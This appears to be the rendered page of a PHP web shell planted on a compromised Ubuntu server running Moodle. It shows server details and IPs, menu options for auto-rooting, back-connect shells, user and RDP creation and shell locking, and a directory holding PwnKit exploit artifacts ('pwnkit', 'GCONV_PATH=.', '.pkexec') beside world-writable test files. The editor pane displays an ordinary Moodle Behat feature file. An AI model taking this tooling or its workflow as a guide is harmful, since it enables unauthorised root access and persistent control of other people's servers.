Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
admin /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_admin.php
4.86
KB
-rwxrwxrwx
display_short_names.feature
858
B
-rwxrwxrwx
enable_multiple_accounts_use_s...
3.34
KB
-rwxrwxrwx
filter_users.feature
4.47
KB
-rwxrwxrwx
filter_users_settings.feature
9.76
KB
-rwxrwxrwx
invalid_allcountrycodes.featur...
1.41
KB
-rwxrwxrwx
language_settings.feature
1.35
KB
-rwxrwxrwx
manage_tokens.feature
903
B
-rwxrwxrwx
purge_caches.feature
1.27
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
search_areas.feature
1.02
KB
-rwxrwxrwx
set_admin_settings_value.featu...
895
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filter_users.feature
@core @core_admin Feature: An administrator can filter user accounts by role, cohort and other profile fields In order to find the user accounts I am looking for As an admin I need to filter the users account list using different filter Background: Given the following "users" exist: | username | firstname | lastname | email | auth | confirmed | lastip | institution | department | | user1 | User | One | one@example.com | manual | 0 | 127.0.1.1 | moodle | red | | user2 | User | Two | two@example.com | ldap | 1 | 0.0.0.0 | moodle | blue | | user3 | User | Three | three@example.com | manual | 1 | 0.0.0.0 | | | | user4 | User | Four | four@example.com | ldap | 0 | 127.0.1.2 | | | And the following "cohorts" exist: | name | idnumber | | Cohort 1 | CH1 | And the following "cohort members" exist: | user | cohort | | user2 | CH1 | | user3 | CH1 | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | 0 | And the following "course enrolments" exist: | user | course | role | | user1 | C1 | student | | user2 | C1 | student | | user3 | C1 | student | And I log in as "admin" And I navigate to "Users > Accounts > Browse list of users" in site administration Scenario: Filter user accounts by role and cohort When I set the following fields to these values: | courserole_rl | Student | | courserole_ct | any category | | courserole | C1 | And I press "Add filter" Then I should see "User One" And I should see "User Two" And I should see "User Three" And I should not see "User Four" And I set the following fields to these values: | cohort | CH1 | And I press "Add filter" And I should not see "User One" And I should see "User Two" And I should see "User Three" And I should not see "User Four" And I press "Remove all filters" And I should see "User One" And I should see "User Two" And I should see "User Three" And I should see "User Four" Scenario: Filter user accounts by confirm and authentication method When I set the following fields to these values: | Confirmed | No | And I press "Add filter" Then I should see "User One" And I should not see "User Two" And I should not see "User Three" And I should see "User Four" And I set the following fields to these values: | Authentication | manual | And I press "Add filter" And I should see "User One" And I should not see "User Two" And I should not see "User Three" And I should not see "User Four" Scenario: Filter user accounts by enrolled in any course When I set the following fields to these values: | id_anycourses | Yes | And I press "Add filter" Then I should see "User One" And I should see "User Two" And I should see "User Three" And I should not see "User Four" And I press "Remove all filters" And I set the following fields to these values: | id_anycourses | No | And I press "Add filter" And I should not see "User One" And I should not see "User Two" And I should not see "User Three" And I should see "User Four" Scenario: Filter user accounts by last IP address When I set the following fields to these values: | id_lastip | 127.0.1.1 | And I press "Add filter" Then I should see "User One" And I should not see "User Two" And I should not see "User Three" And I should not see "User Four" And I press "Remove all filters" And I set the following fields to these values: | id_lastip | 127.0.1.2 | And I press "Add filter" And I should not see "User One" And I should not see "User Two" And I should not see "User Three" And I should see "User Four" And I press "Remove all filters" And I should see "User One" And I should see "User Two" And I should see "User Three" And I should see "User Four" Scenario: Filter users by institution and department When I set the field "id_institution" to "moodle" And I press "Add filter" Then I should see "User One" And I should see "User Two" And I should not see "User Three" And I should not see "User Four" And I set the field "id_department" to "red" And I press "Add filter" And I should see "User One" And I should not see "User Two"
Close